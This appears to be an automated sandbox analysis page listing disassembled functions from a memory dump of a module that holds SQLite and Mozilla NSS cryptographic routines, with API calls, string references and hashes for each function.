sqlite_temp_master, xrefs: 6CA41C5C
abort due to ROLLBACK, xrefs: 6CA42223
another row available, xrefs: 6CA42287
sqlite_master, xrefs: 6CA41C61

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 87ed31112cdf92768c117fb2b6495a7ed289c7597af5554ad855098a6d0fd029
Instruction ID: 393d7239f7cbf2b630493c8d0f0eac3ba1d2c27c0ecc6dacde1d8ef02a0d610d
Opcode Fuzzy Hash: 87ed31112cdf92768c117fb2b6495a7ed289c7597af5554ad855098a6d0fd029
Instruction Fuzzy Hash: 0612C1706083418FD705CF19C484A6AB7F2BF85318F19C66DE9958BB52D731EC8ACB92

Function 6CA65F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

NOCASE, xrefs: 6CA68703
-, xrefs: 6CA66228
BINARY, xrefs: 6CA68708, 6CA68737, 6CA687B8
2, xrefs: 6CA665B4
u, xrefs: 6CA681DA
ON clause references tables to its right, xrefs: 6CA66BEC
sub-select returns %d columns - expected %d, xrefs: 6CA6805F
-, xrefs: 6CA662F9

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: 3ec83653556f8a13c0c174a52afc83088deb3f305fa20e7350af2e662e365611
Instruction ID: a668a3ef321cd3be60716a532dab501b07b533e9de6ff4aba21651db82719d9b
Opcode Fuzzy Hash: 3ec83653556f8a13c0c174a52afc83088deb3f305fa20e7350af2e662e365611
Instruction Fuzzy Hash: E54384746183418FD304CF2AC590B5AB7E2BFC9318F19865DE899CBB51D731E886CB92

Function 6CB0EFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB0C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CB0DAE2,?), ref: 6CB0C6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB0F0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB0F0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CB0F101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB0F11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6CBD218C), ref: 6CB0F183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CB0F19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB0F1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CB0F1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CB0F210

Part of subcall function 6CAB52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CB0F1E9,?,00000000,?,?), ref: 6CAB52F5
Part of subcall function 6CAB52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CAB530F
Part of subcall function 6CAB52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CAB5326
Part of subcall function 6CAB52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CB0F1E9,?,00000000,?,?), ref: 6CAB5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB0F227

Part of subcall function 6CAFFAB0: free.MOZGLUE(?,-00000001,?,?,6CA9F673,00000000,00000000), ref: 6CAFFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CB0F23E

Part of subcall function 6CAFBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CAAE708,00000000,00000000,00000004,00000000), ref: 6CAFBE6A
Part of subcall function 6CAFBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAB04DC,?), ref: 6CAFBE7E
Part of subcall function 6CAFBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAFBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CB0F2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CB0F3A8

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CB0F3B3

Part of subcall function 6CAB2D20: PK11_DestroyObject.NSS3(?,?), ref: 6CAB2D3C
Part of subcall function 6CAB2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CAB2D5F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: ba56b55b6420997c213d8a33f8f9f1452d8f185acad1b218df0c7ef8c9a99b6d
Instruction ID: 9cc9f99f8f3b6f688b985885a25bfda483881e1300ba785555734686281714b2
Opcode Fuzzy Hash: ba56b55b6420997c213d8a33f8f9f1452d8f185acad1b218df0c7ef8c9a99b6d
Instruction Fuzzy Hash: 7ED19FB6F012459FDB04CFA9D880A9EBBF5FF48318F198029E915A7711EB31E806CB55

Function 6CB3DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6CB17FFA,00000000,?,6CB423B9,00000002,00000000,?,6CB17FFA,00000002), ref: 6CB3DE33

Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690AB
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690C9
Part of subcall function 6CB69090: EnterCriticalSection.KERNEL32 ref: 6CB690E5
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB69116
Part of subcall function 6CB69090: LeaveCriticalSection.KERNEL32 ref: 6CB6913F

Part of subcall function 6CB3D000: PORT_ZAlloc_Util.NSS3(00000108,?,6CB3DE74,6CB17FFA,00000002,?,?,?,?,?,00000000,6CB17FFA,00000000,?,6CB423B9,00000002), ref: 6CB3D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6CB17FFA,00000000,?,6CB423B9,00000002,00000000,?,6CB17FFA,00000002), ref: 6CB3DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6CB3DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB3E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CB3E121
PK11_FreeSymKey.NSS3(?), ref: 6CB3E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6CB3E195
PR_GetCurrentThread.NSS3 ref: 6CB3E1FC

Part of subcall function 6CB32460: PR_SetError.NSS3(FFFFE005,00000000,6CBD7379,00000002,?), ref: 6CB32493

Strings

key, xrefs: 6CB3E046
handshake data, xrefs: 6CB3DFF7
early application data, xrefs: 6CB3DFC9
application data, xrefs: 6CB3DFE0

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 7ca0a81a909984986b7a40e1eeffaa9b440fba945bd44d3570b3499f94eadda0
Instruction ID: 8aa784575cd83fc9926f0f5b0ff02256c4b12beb993886b4c9f8d9536b059bc0
Opcode Fuzzy Hash: 7ca0a81a909984986b7a40e1eeffaa9b440fba945bd44d3570b3499f94eadda0
Instruction Fuzzy Hash: 6EC1F471A406A59BDB04CF65DC80BEEB7B4FF05318F044129E90DABA91E335ED54CBA2

Function 6CA2ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA2ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA2EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA2EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CA2EF98

Strings

database corruption, xrefs: 6CA2F48D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA2F483
%s at line %d of [%.10s], xrefs: 6CA2F492

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 6f292aef9c102fd877684dc1a47f546099239b8c5068002c537148684c4f8ef7
Instruction ID: 14636d005fedc9f0fba696555cfea7e815f690fa4b771c2b575e0f11964b6f5c
Opcode Fuzzy Hash: 6f292aef9c102fd877684dc1a47f546099239b8c5068002c537148684c4f8ef7
Instruction Fuzzy Hash: CB62F270A042758FEB04CF64C980B9ABBB1BF45318F1C419DD855ABB92D779E8C6CB90

Function 6CACFC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CACFD06

Part of subcall function 6CACF670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CACF696
Part of subcall function 6CACF670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CACF789
Part of subcall function 6CACF670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CACF796
Part of subcall function 6CACF670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CACF79F
Part of subcall function 6CACF670: SECITEM_DupItem_Util.NSS3 ref: 6CACF7F0

Part of subcall function 6CAF3440: PK11_GetAllTokens.NSS3 ref: 6CAF3481
Part of subcall function 6CAF3440: PR_SetError.NSS3(00000000,00000000), ref: 6CAF34A3
Part of subcall function 6CAF3440: TlsGetValue.KERNEL32 ref: 6CAF352E
Part of subcall function 6CAF3440: EnterCriticalSection.KERNEL32(?), ref: 6CAF3542
Part of subcall function 6CAF3440: PR_Unlock.NSS3(?), ref: 6CAF355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CACFDAD

Part of subcall function 6CAFFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CAA9003,?), ref: 6CAFFD91
Part of subcall function 6CAFFD80: PORT_Alloc_Util.NSS3(A4686CB0,?), ref: 6CAFFDA2
Part of subcall function 6CAFFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CB0,?,?), ref: 6CAFFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CACFE00

Part of subcall function 6CAFFD80: free.MOZGLUE(00000000,?,?), ref: 6CAFFDD1

Part of subcall function 6CAEE550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAEE5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CACFEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CACFEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CACFED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CACFF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CACFF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CACFF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CACFFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CAD0007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CAD0029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CAD0044

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 8e36c2df0d724b6e6d0908efdc96b71e19765a9334e8d4a28394b0705d8a5420
Instruction ID: 75dca62679a6a90eb9dd500e2c2adda72c76a117a208af514a9ed741baf05783
Opcode Fuzzy Hash: 8e36c2df0d724b6e6d0908efdc96b71e19765a9334e8d4a28394b0705d8a5420
Instruction Fuzzy Hash: 3AB1A471604301AFE704CF29CC41A6AB7E5FF88308F598A1DF99997A41E770E984CB92

Function 6CAC7D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CAC7DDC

Part of subcall function 6CB007B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CAA8298,?,?,?,6CA9FCE5,?), ref: 6CB007BF
Part of subcall function 6CB007B0: PL_HashTableLookup.NSS3(?,?), ref: 6CB007E6
Part of subcall function 6CB007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB0081B
Part of subcall function 6CB007B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB00825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CAC7DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CAC7F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CAC7F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CAC7F98
PK11_FreeSymKey.NSS3(?), ref: 6CAC7FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC7FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CAC8000

Part of subcall function 6CAE9430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CAC7F0C,?,00000000,00000000,00000000,?), ref: 6CAE943B
Part of subcall function 6CAE9430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CAE946B
Part of subcall function 6CAE9430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CAE9546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAC8110
PK11_FreeSymKey.NSS3(00000000), ref: 6CAC811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CAC822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CAC823C

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 1e13aba1b9368b246ac258498e4bb1928aa6d3ee70b215aecfe18bc9cdeb2bca
Instruction ID: c2c0c555e6034cb756e033582fbdb162e12dd9ee4fd7e268113ed6a1027efa2a
Opcode Fuzzy Hash: 1e13aba1b9368b246ac258498e4bb1928aa6d3ee70b215aecfe18bc9cdeb2bca
Instruction Fuzzy Hash: B7C160B1E402599BEB21CF24CC44BEAB7B9BF05308F0481E5E91DA6641E7319EC9DF91

Function 6CAD0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CAD0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAD0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CAD1006
PK11_FreeSymKey.NSS3(?), ref: 6CAD101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CAD1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CAD103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CAD1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CAD10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CAD10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD112E

Part of subcall function 6CAD1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CAD08C4,?,?), ref: 6CAD15B8
Part of subcall function 6CAD1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CAD08C4,?,?), ref: 6CAD15C1
Part of subcall function 6CAD1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD162E
Part of subcall function 6CAD1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD1637

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: e09e836a6d50c01beb42c6c8ebfa5328bc35d77c23de069aabc0cfba38083d8d
Instruction ID: 4fc35843c797b85ea8664f2ef2ded9ebc3bee49b2727b24b60fa1053b5f88af8
Opcode Fuzzy Hash: e09e836a6d50c01beb42c6c8ebfa5328bc35d77c23de069aabc0cfba38083d8d
Instruction Fuzzy Hash: 6271C1B1A042458FDB00CFA5CD84A7AB7F4FF48328F19862DE61997711E771E988CB91

Function 6CAF1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CAF1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CAF2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CAF228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CAF23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CAF241C

Strings

manufacturer, xrefs: 6CAF2179
token, xrefs: 6CAF1F2C
model, xrefs: 6CAF23CB, 6CAF23EC
serial, xrefs: 6CAF22A2

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 924ea5c56d47cd22a9c731337aa2f3d544ead7e16af247b166cada52090eedfc
Instruction ID: b347e7d3f0883ed35a8bc4d5d2d3c2a7d83d2a11cdbdd0621cf013ffa5da3a81
Opcode Fuzzy Hash: 924ea5c56d47cd22a9c731337aa2f3d544ead7e16af247b166cada52090eedfc
Instruction Fuzzy Hash: BB02DBA2D0C7C86EF7318A71C44C3D76EE09B45328F4C176AE6AE56683C3B859CA8355

Function 6CAF6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CAA1C6F,00000000,00000004,?,?), ref: 6CAF6C3F

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CAA1C6F,00000000,00000004,?,?), ref: 6CAF6C60
PR_ExplodeTime.NSS3(00000000,6CAA1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CAA1C6F,00000000,00000004,?,?), ref: 6CAF6C94

Strings

gfff, xrefs: 6CAF6D66
gfff, xrefs: 6CAF6CF5
gfff, xrefs: 6CAF6D30
gfff, xrefs: 6CAF6D9C
gfff, xrefs: 6CAF6CFD

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 2fe2519a07ee3331b81f4b547714e87b18cecab2ec88a0bb310a376543d0d86b
Instruction ID: 51061bf6e86bd984f2f8aa21288c69527548655dfbe106a3f0221f8aed14b35f
Opcode Fuzzy Hash: 2fe2519a07ee3331b81f4b547714e87b18cecab2ec88a0bb310a376543d0d86b
Instruction Fuzzy Hash: 8A513972B016494FC708CDADDC626DEBBEAABA4310F48C23AE442DB781D678D946C751

Function 6CB70F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6CB71027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB710B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB71353

Strings

%02x, xrefs: 6CB712F6
NULL, xrefs: 6CB7119E
-- , xrefs: 6CB70FF5
'%.*q', xrefs: 6CB71217, 6CB71292
zeroblob(%d), xrefs: 6CB71223
$, xrefs: 6CB712A0
%lld, xrefs: 6CB7114B

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
